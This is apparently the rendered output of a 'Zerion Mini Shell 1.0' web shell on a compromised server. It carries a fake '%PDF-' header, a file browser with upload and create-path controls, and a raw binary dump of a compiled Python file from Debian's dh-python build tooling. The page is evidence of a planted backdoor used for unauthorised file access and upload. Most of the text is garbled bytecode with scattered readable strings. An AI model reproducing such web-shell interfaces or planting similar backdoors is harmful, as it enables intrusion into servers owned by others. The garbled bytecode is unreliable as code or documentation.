%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /snap/core/17212/usr/share/dh-python/dhpython/build/__pycache__/
Upload File :
Create Path :
Current File : //snap/core/17212/usr/share/dh-python/dhpython/build/__pycache__/base.cpython-35.pyc



�U]�"�@sddlZddlmZddlmZddlmZmZddlm	Z	m
Z
mZddlm
Z
mZddlmZmZddlmZydd	lmZWnek
r�d
d�ZYnXejd�ZGd
d�d�Zdd�ZdS)�N)�wraps)�glob1)�remove�walk)�exists�isdir�join)�Popen�PIPE)�rmtree�copytree)�execute)�quotecCs"|s
dSd|jdd�dS)Nz''�'z'"'"')�replace)�s�r�+/usr/share/dh-python/dhpython/build/base.pyr!srZdhpythonc@s�eZdZdZdZgZgZiZddddddhZd	d
�Z	dd�Z
ed
d��Zdd�Z
dd�Zdd�Zdd�Zdd�Zdd�Zddd�ZdS)�Basea�Base class for build system plugins

    :attr REQUIRED_COMMANDS: list of command checked by default in :meth:is_usable,
        if one of them is missing, plugin cannot be used.
    :type REQUIRED_COMMANDS: list of strings
    :attr REQUIRED_FILES: list of files (or glob templates) required by given
        build system
    :attr OPTIONAL_FILES: dictionary of glob templates (key) and score (value)
        used to detect if given plugin is the best one for the job
    :type OPTIONAL_FILES: dict (key is a string, value is an int)
    :attr SUPPORTED_INTERPRETERS: set of interpreter templates (with or without
        {version}) supported by given plugin
    ��python�python3z
python-dbgzpython3-dbgzpython{version}zpython{version}-dbgcCs
||_dS)N)�cfg)�selfrrrr�__init__>sz
Base.__init__cCsd|jS)NzBuildSystem(%s))�NAME)rrrr�__repr__Asz
Base.__repr__cCsgx`|jD]U}td|gdtdt�}|j�\}}|jdkr
td|��q
WdS)NZwhich�stdout�stderrrzmissing command: %s)�REQUIRED_COMMANDSr	r
Zcommunicate�
returncode�	Exception)�cls�commandZproces�out�errrrr�	is_usableDs
zBase.is_usablec	Cs:d}d}i|_x||jD]q}d}xR|jd�D]A}t|d|�}|r;d}|jj|g�j|�q;W|r|d7}qW|jr�|t|t|j�d�7}i|_x\|j	j
�D]K\}}t|d|�}|r�||7}|jj|g�j|�q�W|dkr6dS|S)	aJReturn certainty level that this plugin describes the right build system

        This method is using cls.{REQUIRED,OPTIONAL}_FILES only by default,
        please extend it in the plugin if more sofisticated methods can be used
        for given build system.

        :return: 0 <= certainty <= 100
        :rtype: int
        rF�|�dirT��2�d)ZDETECTED_REQUIRED_FILES�REQUIRED_FILES�splitr�
setdefault�extend�int�lenZDETECTED_OPTIONAL_FILES�OPTIONAL_FILES�items)	r�context�resultZrequired_files_numZtpl�foundZftpl�resZscorerrr�detectLs.
	 	!	
 zBase.detectcCst|jjr^t|dd�}t|�r^yt|�Wn"tk
r]tjd|�YnXxt|d�D]�\}}}xy|D]q}|dkr�t||�}tjd|�yt|�Wn"tk
r�tjd|�Yq�X|j	|�q�Wxo|D]g}	|	j
d	�rt||	�}
tjd|
�yt	|
�Wqtk
rgtjd|
�YqXqWqoWdS)
Nr(z.toxzcannot remove %s�__pycache__zremoving dir: %s�.pyc�.pyozremoving: %s)r:r;)r�test_toxrrrr!�log�debugrr�endswith)rr4�argsZtox_dir�root�dirsZ
file_names�nameZdpath�fnZfpathrrr�cleanqs2
 



z
Base.cleancCstd|j��dS)Nz&configure method not implemented in %s)�NotImplementedErrorr)rr4r@rrr�	configure�szBase.configurecCstd|j��dS)Nz$install method not implemented in %s)rFr)rr4r@rrr�install�szBase.installcCstd|j��dS)Nz"build method not implemented in %s)rFr)rr4r@rrr�build�sz
Base.buildc	CsRt�}x�dD]�}t|d|�}t|d|�}t|�rt|�srt||�|j|d�|drd|dkr|jjs�|jjr||d<qW|r�t	t|d	d
�d��}|j
|�WdQRX|jjr�dS|jjrd
S|jjrdS|ddksJ|dd?sJ|ddkrNdSdS)N�test�testsr(Z	build_dir�
r@ZPYBUILD_TEST_ARGS�ENV�home_dirZbuild_dirs_to_rm_before_install�wz,cd {build_dir}; {interpreter} -m nose {args}z.cd {build_dir}; {interpreter} -m pytest {args}zHcd {build_dir}; tox -c {dir}/tox.ini -e py{version.major}{version.minor}�versionz2.7z3.1�interpreterZpypyz<cd {build_dir}; {interpreter} -m unittest discover -v {args})ztestrK)�setrrrr�addrZtest_pytestZ	test_nose�open�
writelinesr<)rr4r@Zdirs_to_removeZdnameZ	src_dpathZ	dst_dpath�fprrrrJ�s,	

.z	Base.testNcCs�|dkr|jjrd}|j|�}d|krZt|d�}|d|d<n
|d}tj|�t||d||�S)NF�
PYTHONPATHrMr()rZreally_quiet�format�dictr=�infor
)rr4r@r#�log_file�envrrrr
�s

zBase.execute)�__name__�
__module__�__qualname__�__doc__ZDESCRIPTIONrr,r2ZSUPPORTED_INTERPRETERSrr�classmethodr&r8rErGrHrIrJr
rrrrr)s"
%rcs"t���fdd��}|S)Nc
sG|jdd�}|sC�|||||�}t|t�rC|S|s~tjd|j�j|jd�|jd��|S|jj	r�t
|ddj�j��}nd}tdd	�|j
�D��}|j|�}|j||||�}|d
dkrCdj|d
|�}	|r7|	d
j|�7}	t|	��dS)Nr#zBmissing command (plugin=%s, method=%s, interpreter=%s, version=%s)rQrPrNz
{}_cmd.logFcssN|]D\}}|dks*|jd�r<|t|�fn	||fVqdS)r(�destdirZ_dirN)zdirrb)r?r)�.0�k�vrrr�	<genexpr>�sz6shell_command.<locals>.wrapped_func.<locals>.<genexpr>r rzexit code={}: {}z$
full command log is available in {}T)�pop�
isinstancer0r=�warnrr]�getr�quietrrXrYr3r
r!)
rr4r@Zoargs�kwargsr#r[Zquoted_args�output�msg)�funcrr�wrapped_func�s.	"z#shell_command.<locals>.wrapped_func)r)rorpr)ror�
shell_command�s rq)Zlogging�	functoolsrZglobr�osrr�os.pathrrr�
subprocessr	r
ZshutilrrZdhpython.toolsr
Zshlexr�ImportErrorZ	getLoggerr=rrqrrrr�<module>s
�

Zerion Mini Shell 1.0